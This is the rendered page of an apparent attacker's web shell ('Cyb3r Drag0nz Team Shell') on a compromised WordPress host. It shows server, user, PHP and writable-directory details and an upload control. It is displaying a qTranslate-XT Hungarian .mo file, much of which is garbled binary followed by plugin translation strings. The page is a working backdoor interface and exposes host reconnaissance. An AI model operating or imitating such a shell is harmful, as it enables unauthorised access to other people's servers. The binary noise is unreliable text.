Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : atwiofrxug (73666)
PHP Version : 8.4.10
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
Current Directory : /home/atwiofrxug/mylittletelaviv/wp-content/plugins/qtranslate-xt/lang/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/plugins/qtranslate-xt/lang/qtranslate-hu_HU.mo

��_����(P9y9����,�(%(?%(h%�%��%n6&�&;�&�&j''�'S�'�'(($(�0()F)f)po)�)*�*=#+a+s+z�+3,u7,�,��-�.D�.u/p�/�08�2�2�2 �2)
3]43G�3b�3A=4E4��4'l5�5�5�5�5�5
�566>&64e6�6/�60�6/73;7Co7�7�7
�7�76�75/8e8|8
�8�8�8�8�8m�8U=9.�9�:�;<�;<6"<Y<b<)z<�<J�<

=5=KK=)�=�=H�=>>
$>D2>w?�?�?(�?�?��?}@��C(D/DCD�bD�D�D�Em�E[F]`F�F/�F�FG!G>&GeGwG3�G�G�G)�G-H�=H�I��I
VJ*dK�L
�L�L�L-�L�LMkMZ|M��M.�N�N	�N�N
�N*O-O.AO
pO~O�O��O9P'WPP�P	�P>�P�P�Q�Q9�Q`�Q�?R%�R�R��R~SL�SA�SBTaTqT�T�T��TN�U%�U�Vb�VW�W�W�W{X�Xr�X>Y/KZ;{Z��Z~I[�[4�[\6\KS\*�\8�\]Q
]�\]
^
^#^:^Y_v_\�_�_�_``!`2`�A`
�`�`�`aa!a6*adaaW�ab�4b2�b�dz	e#�e�e�e�eq�eKf[f	jftf�f �f/�fgQ#g�ugFh)[hG�i��iZ�j��j2�l<�l9�l�1m��m��o�$p;�p(;q%dq��q(VrSr��rTZs2�s8�s\txt��t]:u��u8hv��v�w�w�w0�w$�wKx	axkx7�x(�x�x�x	y y$4yYyoy�y�y�yV�y%#zLIz1�z6�z�z{]({�{�{_�{ |>|T|d|�l|�%}��}�~l�~'�~s'Y�5��+�8��8������P����+�0�L�`��}�.�}I�DŽӄ߄��+��IчJ�f�r�^��6�/�3I� }�~������@Đ�������aґ4�G�Z�u����s�c���i��6c�6��Jѕ�,��F�8ؖ�!�6:�'q�K��f��L���9u�
��$��&�:	��D��ǞmX�5ƟK���H�8�"�<�U�s�����
��ʡI�F.�u�C��=΢O�S\�L�����
*�8�>H�?��Ǥ���

��*�r3�Y���
�#"�DF�	��4��ʨ!ڨ%��$"�QG�
��/��_ש/7�g�cz�	ު���d�q���	��3��+ج������,�	�!����3�̲ղ���\y�Qֳb(���8��д��A�P�h�>y���ʵ'�'��9��4�����,���	�	
�$�49�n���d��P���O�1
�?�[�g�m�3z���)���
�����ľ2��-�F�LN������V�G]�t����)����f�@|�]��b�!~����������X��4����v��J��a���o4� �����kP�2��4���$����(j�'��%��$��R�.Y�D����d���?����3��I�1*�\�Vp�!������"�%'�M��^��
�#�A�P�h�4w�_��r������ �
��i��49�n� w������	*�4�E�(R�1{���4��"��B��`�H��13�?e����ts�X��2A�7t�8��������ie���H��3�1M���3A�ru�v��N_�4��+��X�h����d1����8a����������R��1�fA�
�� ��C��)�B�R�n�������������%	��/�)��>��'�5D�z���`��$�<-�`j�#��*���4��=������m�~y�E��{>�a��9��V�C��/-��]�2��X�p��������(��	�*�	�����K�LClv�����)B�$o�*��q[,R7�9��!��*N����(c�D�"�j	�.2�5�6
R�#���
�%�kO��3,T�?I>r�m8�<���KN�\=]2��F: 
:1T��_sWpM[E!���Y(�S��{����0L_4�����%?�G��eP�@����-d
CAXG>P�Q7V�<u��D5�����h80Z�4|Y�V	�'�~���;�OtU}�����#��W&/��;�^���B��H`"@g$J�]�H�ny+)6x��^U��3�+�zJ����fi�=��F.a&Q�Z ����\�w'9A��SbX�-EM���/I�1%LANG:&lt;normal_separator&gt;:&lt;last_separator&gt;% generates a list of languages separated by &lt;normal_separator&gt; except for the last one, where &lt;last_separator&gt; will be used instead.%d database entries have been converted.%d pages have been processed to set the default language.%d posts have been processed to set the default language.%s Flag%sError:%s plugin %s cannot run concurrently with plugin %s. You may import and export compatible settings between %s and %s on Settings/<a href="%s">Languages</a> configuration page. Then you have to deactivate one of the plugins to continue.%sImportant%s: Before you start making edits to post and pages, please, make sure that both, your front site and admin back-end, work under this configuration. It may help to review "%s" and see if any of conflicting plugins mentioned there are used here. While the current content, coming from %s, is compatible with this plugin, the newly modified posts and pages will be saved with a new square-bracket-only encoding, which has a number of advantages comparing to former %s encoding. However, the new encoding is not straightforwardly compatible with %s and you will need an additional step available under "%s" option if you ever decide to go back to %s. Even with this additional conversion step, the 3rd-party plugins custom-stored data will not be auto-converted, but manual editing will still work. That is why it is advisable to create a test-copy of your site before making any further changes. In case you encounter a problem, please give us a chance to improve %s, send the login information to the test-copy of your site to %s along with a detailed step-by-step description of what is not working, and continue using your main site with %s meanwhile. It would also help, if you share a success story as well, either on %sthe forum%s, or via the same e-mail as mentioned above. Thank you very much for trying %s.%sReview the plugin%s at WordPress site.%sShare a new idea%s with our community.%sUse Support Forum%s to ask a question.%sVisit%s %s website.2-Letter <a href="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">ISO Language Code</a> for the Language you want to insert. (Example: en)<div id="message" class="error fade"><p>qTranslate Services could not load <a href="%s">OpenSSL</a>!</p></div><div>Translate to %s</div><p><img src="images/wpspin_light.gif"> Getting Quote...</p><p>Price: %1$s %2$s</p>A manual update to option "%s" or to the theme custom CSS may be needed, after some languages are changed.ActionActivate plugin %sActivation of plugin %s deactivated plugin %s since they cannot run simultaneously.Active button class:Add LanguageAdd Language &raquo;Add to MenuAdditional custom JSON-encoded configuration of %s for all admin pages. It is processed after all files from option "%s" are loaded, providing opportunity to add or to override configuration tokens as necessary.Additional information: %sAdds user-friendly and database-friendly multilingual content support.AdvancedAll previously dismissed admin notices related to this plugin will show up again on next refresh of admin pages.All the fields of specified classes will respond to Language Switching Buttons. Be careful not to include a class, which would affect language-neutral fields. If you cannot uniquely identify a field needed neither by %s, nor by %s attribute, report the issue on %sSupport Forum%sAllows your visitors to choose a Language.Also delete Translations for Categories/Tags/Link Categories.An error occured!An error occured: %sAn serious error occured and qTranslate Services cannot proceed. For help, please visit the <a href="%s">Support Forum</a>An unknown error occured with the selected service.Appears in the column "Languages" on post listing pages, when content has no language tags yet.Languages are not setApplicable options and taxonomy names from plugin %s have been imported. Note that the multilingual content of posts, pages and other objects has not been altered during this operation. There is no additional operation needed to import content, since its format is compatible with %s.Applicable options have been exported to plugin %s. If you have done some post or page updates after migrating from %s, then "%s" operation is also required to convert the content to "dual language tag" style in order for plugin %s to function.Are you new to plugin %s?Automatically check for .mo-Database Updates of installed languages.Below, you will find configuration settings for qTranslate Service Providers, which are required for them to operate.Both processes are <b>irreversible</b>! Be sure to make a full database backup before clicking one of the links.By default, all options are filtered to be translated at front-end for the sake of simplicity of configuration. However, for a developed site, this may cause a considerable performance degradation. Normally, there are very few options, which actually need a translation. You may simply list them above to minimize the performance impact, while still getting translations needed. Options names must match the field "%s" of table "%s" of WordPress database. A minimum common set of option, normally needed a translation, is already entered in the list above as a default example. Option names in the list may contain wildcard with symbol "%s".CSS code added by plugin in the head of front-end pages:CSS set:Cannot delete Default Language!Cannot disable Default Language!Cannot parse JSON code in the field "%s".Cannot use this service, not all <a href="%s">required fields</a> filled in for this service.Check this box and click Save Changes to reset all qTranslate settings.Choice "%s" disables this option and allows one to use its own custom CSS provided by other means.Choose CSS style for how Language Switching Buttons are rendered:Choose the corresponding country flag for language. (Example: gb.png)Choose the default language of your blog. This is the language which will be shown on %s. You can also change the order the languages by clicking on the arrows above.Click %s to modify language properties.Click to switch to %sClick to toggleCompatibility FunctionsConfiguration FilesConfiguration InspectorConfirm OrderContinueConvert DatabaseConvert database back to the legacy "dual language tag" style.Convert database to the "square bracket only" style.Cookie SettingsCould not find file "%s" listed in option "%s".Could not find script file "%s" for handle "%s".Could not load file "%s" listed in option "%s".Could not parse %s file "%s" listed in option "%s".Could not write to "%s", Gettext Databases could not be downloaded!Current Status: %sCustom ConfigurationCustom FieldsCustom FiltersDatabase has been converted to legacy dual-tag format.Database has been converted to square bracket format.Date / Time ConversionDate FormatDeactivate %sDefaultDefault LanguageDefault Language / OrderDeleteDeleting an open order doesn't cancel it. You will have to logon to the service homepage and cancel it there.Depending on the mode selected, additional customizations of the theme may be needed.Depending on your Date / Time Conversion Mode, you can either enter a <a href="http://www.php.net/manual/function.strftime.php">strftime</a> (use %q for day suffix (st,nd,rd,th)) or <a href="http://www.php.net/manual/function.date.php">date</a> format. This field is optional. (Example: %A %B %e%q, %Y)Depending on your Date / Time Conversion Mode, you can either enter a <a href="http://www.php.net/manual/function.strftime.php">strftime</a> or <a href="http://www.php.net/manual/function.date.php">date</a> format. This field is optional. (Example: %I:%M %p)Detect Browser LanguageDetect the language of the browser and redirect accordingly.DisableDisable language client cookie "%s" (not recommended).Display:Do not convert databaseDo not highlight the translatable fields.Do not migrate any settingDo not use Language Switching Buttons to edit multi-language text entries.Domain forDon't check this if you don't know what you're doing!Don't convert links to files of the given file types. (Always included: %s)Draw a border around translatable fields.Dropdown BoxERROR: Could not connect to qTranslate Services. Please try again later.EditEdit %sEdit LanguageEdit language cannot be switched without page re-loading. Try this mode, if some of the advanced translatable fields do not properly respond to the Language Switching Buttons due to incompatibility with a plugin, which severely alters the default WP behaviour. This mode is the most compatible with other themes and plugins.Editor ModeEditor Raw ModeEnableEnable function name compatibility (%s).Enable qTranslate ServicesEnabling a language will cause qTranslate to update the Gettext-Database for the language, which can take a while depending on your server's connection speed.Enter "%s" or "%s" attribute of text fields from your theme, which you wish to translate. This applies to post, page and media editors (%s). To lookup "%s" or "%s", right-click on the field in the post or the page editor and choose "%s". Look for an attribute of the field named "%s" or "%s". Enter it below, as many as you need, space- or comma-separated. After saving configuration, these fields will start responding to the language switching buttons, and you can enter different text for each language. The input fields of type %s will be parsed using %s syntax, while single line text fields will use %s syntax. If you need to override this behaviour, prepend prefix %s or %s to the name of the field to specify which syntax to use. For more information, read %sFAQ%s.Every multilingual field is expected to have a meaningful content in the "Default Language". Usually, it is the language of your site before it became multilingual.ExportExport settings to Feel free to choose an action:Filter all WordPress options for translation at front-end. It may hurt performance of the site, but ensures that all options are translated.FlagFlag Image PathFor help on how to configure qTranslate correctly, take a look at the <a href="%1$s">qTranslate FAQ</a> and the <a href="%2$s">Support Forum</a>.For the sake of viewer convenience, the content is shown below in one of the available alternative languages.For the sake of viewer convenience, the content is shown below in the alternative language.For the sake of viewer convenience, the content is shown below in this site default language.GeneralGettext databases <strong>not</strong> updated:Gettext databases updated.Head inline CSSHelpHide Content which is not available for the selected language.Hide Title Colon:Hide Title:Hide URL language information for default language.Highlight StyleHighlight Translatable FieldsI am aware of that, dismiss this message.I have already done it, dismiss this message.If a post type unchecked, no fields in a post of that type are treated as translatable on editing pages. However, the manual raw multilingual entries with language tags may still get translated in a usual way at front-end.If something isn't working correctly, you can always try to reset all qTranslate settings. A Reset won't delete any posts but will remove all settings (including all languages added).If you are updating from qTranslate 1.x or Polyglot, <a href="%s">click here</a> to convert posts to the new language tag format.If you have installed qTranslate for the first time on a Wordpress with existing posts, you can either go through all your posts manually and save them in the correct language or <a href="%s">click here</a> to mark all existing posts as written in the default language.If your theme or some plugins are not fully integrated with %s, suggest their authors to review the %sIntegration Guide%s. In many cases they would only need to create a simple text file in order to be fully compatible with %s. Alternatively, you may create such a file for them and for yourselves.Ignore LinksImage onlyImportImport settings from Incorrect Flag Image Path! Please correct it!Install plugin %sIntegrationIt is recommended to review %sRelease Notes%s for this new version of %s before making any further changes.It might be a good idea to review %smigration instructions%s, if you have not yet done so.It would make no difference, if the content of this field is stored in a file, which name is listed last in option "%s". Therefore, this field only provides flexibility for the sake of convenience.Javascript is required for qTranslate ServicesLSB %s-wrap classes:LSB StyleLanguageLanguage CodeLanguage Code has to be 2 characters long!Language ManagementLanguage Management (qTranslate Configuration)Language MenuLanguage SwitcherLanguage Switching ButtonsLanguage cookie is auto-disabled for "%s" "Pre-Domain" and "Per-Domain", as language is always unambiguously defined by a url in those modes.Language is already disabled!Language is already enabled or invalid!Language is already first!Language is already last!LanguagesLet qTranslate Services check if any open orders are finished.List of Configured LanguagesList of configuration files. Unless prefixed with "%s", paths are relative to %s variable: %s. Absolute paths are also acceptable.LocaleMake %s cookies available only through HTTPS connections.Menu item added is replaced with a drop-down menu of available languages, when menu is rendered.Message to display if post is not available in the requested language. (Example: Sorry, this entry is only available in %LANG:, : and %.)Most SEO unfriendly, not recommended.NameNames of filters (which are enabled on theme or other plugins via %s function) to add translation to. For more information, read %sFAQ%s.New order saved.No database entry has been affected while processing the conversion request.No initially untranslated pages found to set the default languageNo initially untranslated posts found to set the default language.No open orders.No such language!Not Available MessageNot enabledNote to developers: ensure that front-end filter %s is also active on admin side, otherwise the changes it makes will not show up here. Having this filter active on admin side does not affect admin pages functionality, except this field.Note, that only string options and standard post and page fields are affected.Note: custom entries are not touched.One may find convenient to use the default Editor Mode, while remembering not to switch edit languages on custom advanced translatable fields, where LSB do not work.Only enabled languages are loaded at front-end, while all %d configured languages are listed here.Open OrdersOption "%s" has also been turned on, as the most common case for importing configuration from %s. You may turn it off manually if your setup does not require it. Refer to %sFAQ%s for more information.Options saved.Order deleted.Order of languages defines in which order they are listed, when languages need to be listed, otherwise it is not important.Order successfully sent.Other common CSS block for flag classes "%s" is loaded in the head of HTML and can be controlled with option "%s".Otherwise, use this option with a caution, for simple enough sites only. If checked, the user choice of browsing language will not be saved between sessions and some AJAX calls may deliver unexpected language, as well as some undesired language switching during browsing may occur under certain themes (%sRead More%s).Our team would greatly appreciate any feedback:PHP and Wordpress Locale for the language. (Example: en_US)Pages with translatable fields have Language Switching Buttons, which control what language is being edited, while admin language stays the same.Path to the flag images under wp-content, with trailing slash. (Default: %s, clear the value above to reset it to the default)Please choose a service firstPlease choose the language you want to translate to:Please confirm your order.Please save your post first.Please, help us to make a decision on "%s" feature, press the button below.Please, press an appropriate button below.Please, read %sIntegration Guide%s for more information.PluginPlugin %s may be integrated with multilingual plugin %s with a help of plugin %s.Plugin %s requires PHP version %s at least. This server instance runs PHP version %s. A PHP version %s or higher is recommended. The plugin has not been activated.Post TitlePost TypesPost types enabled for translation:Post types other than "post" or "page", as well as unpublished entries, will have to be adjusted manually as needed, since there is no common way to automate setting the default language otherwise. It can be done with a custom script though. You may request a %spaid support%s for this.Post with id "%s" not found!Pre-DefinedRead %sIntegration Guide%s for more information on how to customize the configuration of %s.Read Startup GuideRequest TranslationResetReset admin notices.Reset qTranslateReview ArticleReview a combined JSON-encoded configuration as loaded from options %s and %s, as well as from the theme and other plugins via filters %s and %s.SEO friendly.Save ChangesSave Changes &raquo;ServiceService ConfigurationSettingsShow a line on the left border of translatable fields.Show content in an alternative language when translation is not available for the selected language.Show displayed language prefix when content is not available for the selected language.Single Language Mode.Some people prefer to edit the raw entries containing all languages together separated by language defining tags, as they are stored in database.Some plugins and themes use direct calls to the functions listed, which are defined in former %s plugin and some of its forks. Turning this flag on will enable those function to exists, which will make the dependent plugins and themes to work. WordPress policy prohibits to define functions with the same names as in other plugins, since it generates user-unfriendly fatal errors, when two conflicting plugins are activated simultaneously. Before turning this option on, you have to make sure that there are no other plugins active, which define those functions.Source LanguageStarting from version 3.2.5, only options with multilingual content get filtered, which should help on performance issues.Status updated for all open orders.StoredSurvey on "%s" featureSwitching LanguageSwitching language to %1$s... If the Dashboard isn't loading, use this <a href="%2$s" title="Dashboard">link</a>.Target LanguageText and ImageText onlyThank me again in a few months!Thank you for using %s plugin!The Language must have a Locale!The Language must have a Not-Available Message!The Language must have a name!The Name of the language, which will be displayed on the site. (Example: English)The Post already has content for the selected target language. If a translation request is send, the current text for the target language will be overwritten.The above is reset to an appropriate default, if the below is changed.The choices below define how to handle untranslated content at front-end of the site. A content of a page or a post is considered untranslated if the main text (%s) is empty for a given language, regardless of other fields like title, excerpt, etc. All three options are independent of each other.The color in use is taken from your profile option %s, the third color.The compatible settings from %s have been imported to %s. Further tuning, import, export and reset of options can be done at Settings/Languages configuration page, once %s is running.%sContinue%sThe field "%s" of inserted menu item allows additional configuration described in %sFAQ%s.The language code is used in language tags and in URLs. It is case sensitive. Use of lower case for the language code is preferable, but not required. The code may be arbitrary chosen by site owner, although it is preferable to use already commonly accepted code if available. Once a language code is created and entries for this language are made, it is difficult to change it, please make a careful decision.The language edited is the same as admin language.The language/s do not have a valid ISO 639-1 representation.The language/s you used are not supported by the service.The latest version of plugin %s has a number of new options, for example, %s, which may change the look of some pages. Please, review the help text of new options on %sconfiguration page%s.The list gets auto-updated on a 3rd-party integrated plugin activation/deactivation. You may also add your own custom files for your theme or plugins. File "%s" is the default configuration loaded from this plugin folder. It is not recommended to modify any configuration file from other authors, but you may alter any configuration item through your own custom file appended to the end of this list.The message about available languages for the content of a post or a page may also appear if a single post display with an untranslated content if viewed directly.The rendered menu items have CSS classes %s and %s ("%s" is a language code), which can be defined in theme style, if desired. The label of language menu can also be customized via field "%s" in the menu configuration.The requested Post has no content, no Translation possible.The server returned a debugging message.The service returned this message: %sThe square bracket language tag %s only will be used as opposite to dual-tag (%s and %s) %s legacy database format. All string options and standard post and page fields will be uniformly encoded like %s.The system could not process your order.The table below contains both pre-defined and manually added or modified languages.The value of "id" attribute is normally unique within one page, otherwise the first field found, having an id specified, is picked up.The way the translatable fields are highlighted is configured with global option %s.There has been an error with the selected service.There is already a language with the same Language Code!There is no need to migrate any setting, the database schema is compatible with this plugin.There is no such service.This function will not work correctly if you installed %s on a blog with existing entries. In this case you will need to take a look at option "%s" under "%s" section.This is a one-time message, which you will not see again, unless the same import is repeated.This is a set of "%s" from %s. Click any blank space between the buttons and drag it to a place where you would need it the most. Click the handle at the top-right corner of this widget to hide this message.This is only applicable to Pre-Path and Pre-Domain mode.This is relevant to all fields other than the main content of posts and pages. Such untranslated fields are always shown in an alternative available language, and will be prefixed with the language name in parentheses, if this option is on.This is the default mode.Time FormatTitle:To disable this inline CSS, clear the check box.To reset to default, clear the text.To translate a post, please go to the <a href="%s">edit posts overview</a>.TranslateTranslate a different post.Translate only options listed below (for experts only):Translate this post to another language.Translate toTranslation ServiceTranslation of optionsTranslation optionsTwo-letter Language Code meant.CodeURL Modification ModeUnknown LanguageUntranslated ContentUpdate Gettext DatabasesUpdate Gettext databases now.Use "%s" to review the resulting combined configuration from all "%s" and this option.Use Language Switching Buttons (LSB).Use Per-Domain mode: specify separate user-defined domain for each language.Use Pre-Domain Mode (uses http://en.yoursite.com)Use Pre-Path Mode (Default, puts /en/ in front of URL)Use Query Mode (?lang=en)Use custom CSSUse emulated date function and replace formats with the predefined formats for each language.Use emulated date function.Use plugin %s to import data.Use strftime instead of date and replace formats with the predefined formats for each language.Use strftime instead of date.View all open orders.View this post.WebsiteWhen checked, posts will be hidden if the content is not available for the selected language. If unchecked, a message will appear showing all the languages the content is available in.When the frontpage is visited via bookmark/external link/type-in, the visitor will be forwarded to the correct URL for the language specified by his browser.When there are many integrated or customized translatable fields, it may become confusing to know which field has multilingual value. The highlighting of translatable fields may come handy then:Widget CSS:With qTranslate Services, you will be able to use professional human translation services with a few clicks.Yes, I really want to reset qTranslate.You may %s or %s a language, or %s manually added language, or %s previous modifications of a pre-defined language.You may click one of the links to switch the site language to another available language.You may click the link to switch the active language.You may import/export compatible settings from %s to %s on Settings/Languages configuration page, once %s is running.%sContinue%sYou will need to configure DNS sub-domains on your site.You will need to install the .mo file for this language.Your article is available in multiple languages. If you do not want to translate from %1$s, you can switch to one of the following languages: %2$sYour article will be SSL encrypted and securly sent to qTranslate Services, which will forward your text to the chosen Translation Service. Once qTranslate Services receives the translated text, it will automatically appear on your blog.Your translation order has been successfully transfered to the selected service.back to configuration pagebrowser optionInspect ElementfreeqTranslate Language ChooserqTranslate ServicesqTranslate Services SettingsqTranslate Services will automatically check every hour whether the translations are finished and update your posts accordingly. You can always <a href="%s">check manually</a>.qTranslate has been reset.qTranslate will query the Wordpress Localisation Repository every week and download the latest Gettext Databases (.mo Files).unavailable~ %1$s %2$sProject-Id-Version: qTranslate-X 3.4.6.5
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2016-04-23 02:27-0600
PO-Revision-Date: 2015-06-07 14:37-0800
Last-Translator: Németh Balázs <nb0000@gmail.com>
Language-Team: 
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Language: hu_HU
Plural-Forms: nplurals=2; plural=(n != 1);
X-Generator: Poedit 1.8.1
X-Poedit-SourceCharset: UTF-8
X-Poedit-KeywordsList: __;_e;_x:1,2c;esc_attr_e
X-Poedit-Basepath: .
X-Poedit-SearchPath-0: ..
%LANG:&lt;normal_separator&gt;:&lt;last_separator&gt;% létrehoz egy listát nyelvekből, ahol az elválasztójel:  &lt;normal_separator&gt; az utolsó elválasztó pedig: &lt;last_separator&gt;.%d adatbázis bejegyzés lett átalakítva.%d oldal lett feldolgozva az alapértelmezett nyelv beállítása során.%d bejegyzés lett feldolgozva az alapértelmezett nyelv megadása során.%s zászló%sHiba:%s %s bővítmény nem futhat párhuzamosan a %s bővítménnyel. A kompatibilis beállítások importálhatók és exportálhatók %s és %s között a Beállítások/<a href="%s">Nyelvek</a> oldalon. Majd le kell állítani az egyik bővítményt a folytatáshoz.%sFontos%s: Mielőtt nekiáll módosítani a bejegyzéseket és oldalakat, győződjön meg róla, hogy a weboldal frontendje és az admin felülete is működik ezen beállítások mellett. Segíthet, ha áttekinti ezt: „%s” és megnézi, hogy használ-e ott említett gondot okozó bővítményt. Míg a jelenlegi tartalom, ami %s-től van kompatíbilis ezzel a bővítménnyel, az ezentúl módosított bejegyzések és oldalak az új, csak szögletes zárójeleket használó kódolással lesznek mentve, aminek sok előnye van a korábbi %s kódolással szemben. Viszont az új kódolás nem egyértelműen kompatíbilis ezzel: %s, és „%s” alatt elérhető műveletkre lesz szükség, ha vissza akkar térni ehhez: %s. M?ég ezzel az extra konverziós lépéssel se lesznek átalakítva az egyedi bővítmények által tárolt adatok. Ezért javasolt egy teszt-változat létrehozása az egész weboldalból, mielőtt bármi mást módosítana. Ha problémával találkozik, kérjük adjon esélyt a %s fejleszésére és küldje el nekünk a teszt oldal belépési adatait ide: %s, egy részletes lépésről-lépésre leírással arról, hogy mi nem működik, és addig használja a fő oldalát tovább ezzel: %s. Az is segít, ha megosztja a probléma megoldását a %sfórum%son, vagy a fenti emailben. Köszönkük, hogy kipróbálja a %s bővítményt.%sBővítmény áttekintése%s a WordPress weboldalon.%sMegoszthat új ötleteket%s a közösséggel.%sHasználja a támogató fórum%sot kérdezéshez.%sMegnyithatja%s a %s weboldalt.2-betűs <a href="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">ISO nyelv kód</a> a beszúrandó nyelvhez. (Példa: en)<div id="message" class="error fade"><p>a qTranslate szolgáltatásoknak nem sikerült betöltenie <a href="%s">OpenSSL</a>t!</p></div><div>Fordítás erre: %s</div><p><img src="images/wpspin_light.gif"> Idézet lekérése...</p><p>Ár: %1$s %2$s</p>Lehet, hogy szükséges lesz „%s” opció kézi frissítésére vagy egyedi CSS kódra a sablonban, néhány nyelv megváltoztatása után.MűveletBővítmény bekapcsolása: %sA %s bővítmény aktiválása deaktiválta a %s bővítményt, mivel nem tudnak egyszerre futni.Aktív gomb class:Nyelv hozzáadásaNyelv hozzáadása &raquo;Hozzáadás a menühözTovábbi egyedi JSON-kódolt %s beállítás az admin oldalakhoz. Azután kerül feldolgozásra, hogy minden fájl be lett töltve „%s” opcióból, így lehetőséget ad beállítások kiegészítésére és felülírására.További információ: %sFelhasználóbarát és adatbázisbarát módon támogatja több nyelv kezelését a WordPress-ben.HaladóMinden korábban elrejtett admin megjegyzés ehhez a bővítményhez újra megjelenik az admin oldalakon.Minden elem, aminek van az itt felsorolt class-ok közül legalább egy, az reagálni fog a nyelvválasztó gombokra. Fontos, hogy NE adjunk meg olyan class-t, ami nyelvfüggetlen mezőn is szerepel. Ha nem tudsz beazonosítani egy mező %s és %s alapján se, akkor kérlek jelentsd a %sTámogató fórum%son.Lehetővé teszi a látogatóknak a nyelvválasztást.A kategóriák, címkék és link kategóriák fordításait is törölje.Hiba történt!Egy hiba lépett föl: %sEgy komoly hiba történt, és a qTranslate szolgáltatások nem tud folytatódni. Segítségért forduljon a <a href="%s">Segítő fórum</a>hozIsmeretlen hiba történt a kijelölt szolgáltatásban.Nincs tartalom.A használható opciók és taxonómia nevek át lettek véve a %s bővítményből. A művelet alatt a bejegyzések, oldalak és egyéb objektumok tartalma nem változott. Nincs szükség további lépésekre a tartalom importálásához, mert a formátum kompatibilis ezzel: %s.Az érvényesíthető opciók exportálva lettek a %s bővítményhez. Ha módosított a bejegyzéseken vagy az oldalakon a %s-ről való migráció után, akkor a „%s” műveletre is szükség lesz, hogy a tartalmat átalakítsuk a „dupla nyelvi jelölő” stílusra, hogy működjön a %s bővítmény.Még nem használta a %s bővítményt?Automatikusan figyeli és letölti a telepített nyelvek .mo adatbázisát.Alább találhatóak a qTranslate szolgáltatók beállításai, amik a működésükhöz szükséges.Mindkét művelet <b>megfordíthatatlan</b>! Készítsen teljes biztonsági másolatot az adatbázisról, mielőtt a linkek bármelyikére kattint!Alapértelmezésként minden WordPress opció átmegy a fordító szűrőn a beállítás egyszerűsége érdekében. Viszont egy nagyobb weboldal esetén ez jelentős visszaesést jelenthet a teljesítményben. Normális esetben valójában nagyon kevés opciót szükséges fordítani. Fennt fel lehet sorolni őket, így csökkentve a teljesítményre gyakorolt negatív hatást, a fordíthatóság megtartása mellett. Az opció nevek egyezzenek „%s” mező értékével a „%s” táblából. A fordításhoz minimlisan szükséges lista már előre meg van adva páldaként. Az opció nevekben lehet helykitöltő „%s” szinbólum segítségével.CSS kód, amit a bővítmény a front-end oldalaiba tesz:CSS készlet:Az alap nyelvet nem lehet törölni!Az alap nyelvet nem lehet kikapcsolni!Nem sikerült a JSON kód értelmezése „%s” mezőben.Nem használható ez a szolgáltatás, nincs kitöltve minden <a href="%s">szükséges mező</a> a szolgáltatás használatához.Jelölje be ezt a jelölőnégyzetet és kattintson a Változások mentése gombra a qTranslate beállításainak alaphelyzetbe állításához.„%s” kikapcsolja ezt az opciót, és engedi, hogy saját CSS kódot használjon tetszőleges más módon.Válassza ki a nyelvválasztó gombok megjelenését:Válassza ki a megfelelő ország zászlót a nyelvhez. (Például: gb.png)Válassza ki az oldal alapértelmezett nyelvét. Ez az a nyelv, ami megjelenik itt: %s. A nyelvek sorrendje is megváltoztatható a nyilakra kattintva.Kattintson %s a nyelvi tulajdonságok módosításához.Kattintson „%s”-re váltáshozKattintson a váltáshozKompatibilitási függvényekKonfigurációs fájlokKonfiguráció vizsgálóRendelés megerősítéseFolytatásAdatbázis átalakításaAdatbázis visszaalakítása a régi „dupla nyelvi kódos” stílusra.Adatbázis átalakítása a „csak szögletes zárójel” stílusra.Süti beállításokNem található „%s” fájl, ami „%s” opcióban van megadva.Nem található a script fájl „%s” „%s” kezelőhöz.Nem sikerült „%s” fájl betöltése, megadva ebben az opcióban: „%s”.Nem sikerült %s fájl éterlmezése „%s” megadva ebben az opcióban: „%s”.Nem sikerült írni "%s", a Gettext adatbázisokat nem sikerült letölteni!Aktuális állapot: %sEgyedi konfigurációEgyedi mezőkEgyedi szűrőkAdatbázis átalakítva a hagyományos dupla-elem formátumra.Adatbázis átalakítva a szögletes zárójeles formátumúra.Dátum / idő átalakításDátum formátumKikapcsolás: %sAlapAlap nyelvAlap nyelv / sorrendTörlésEgy nyitott megrendelés törlése nem szünteti meg azt. A szolgáltatás honlapján belépve lehet ezt megtenni.A választott mód függvényében az aktuális sablon testreszabására lehet szükség.A dátum / idő átalakítás módjától függően, vagy <a href="http://www.php.net/manual/function.strftime.php">strftime</a> vagy <a href="http://www.php.net/manual/function.date.php">date</a> formátumot lehet használni. Ez a mező opcionális. (Példa: %A %B %e%q, %Y)A dátum / idő átalakítás módjától függően, vagy <a href="http://www.php.net/manual/function.strftime.php">strftime</a> vagy <a href="http://www.php.net/manual/function.date.php">date</a> formátumot lehet használni. Ez a mező opcionális. (Példa: %I:%M %p)Böngésző nyelvének felismeréseÁtirányítás a böngésző nyelvének megfelelő nyelvű oldalra.KikapcsolNyelvi süti „%s” kikapcsolása (nem ajánlott).Megjelenítés:NE alakítása át az adatbázistNe emelje ki a fordítható mezőket.Ne migráljon semilyen beállítástNe legyenek nyelvválasztó gombok a több nyelvű szövegbeviteli mezők felett.Domain ehhez:Ne jelölje be, ha nem tudja, hogy mit csinál!Az itt megadott típusú fájlokra mutató hivatkozások nem módosulnak. (Mindig benn van: %s)Legyen körvonal a fordítható mezők körül.Legördülő menüHIBA: Nem sikerült csatlakozni a qTranslate szolgáltatásokhoz. Kérem próbálja újra később.SzerkesztSzerkesztés %sNyelv szerkesztéseA szerkesztett nyelv nem módosítható oldal-újratöltés nélkül. Próbálja ki ezt a módot, ha a fejlett fordítható mezők egy része nem megfelelően reagál a nyelvválasztó gombokra egy nem-kompatíbilis bővítmény miatt, ami súlyosan módosítja az alap WP működést. Ez a mód a legkompatibilisabb a többi sablonnal és bővítménnyel.Szerkesztő módNyers szerkesztés módBekapcsolFüggvény-név kompatibilitás bekapcsolása (%s).qTranslate szolgáltatások engedélyezéseEgy nyelv engedélyezésekor a qTranslate megpróbálja frissíteni a nyelv gettext adatbázisát. Ez az Internet sebességének függvényében eltarthat egy ideig.Adja meg az „%s” vagy „%s” attribútumát azon beviteli mezőknek, amiket több nyelven szeretne használni. Ez a bejegyzés, oldal és média 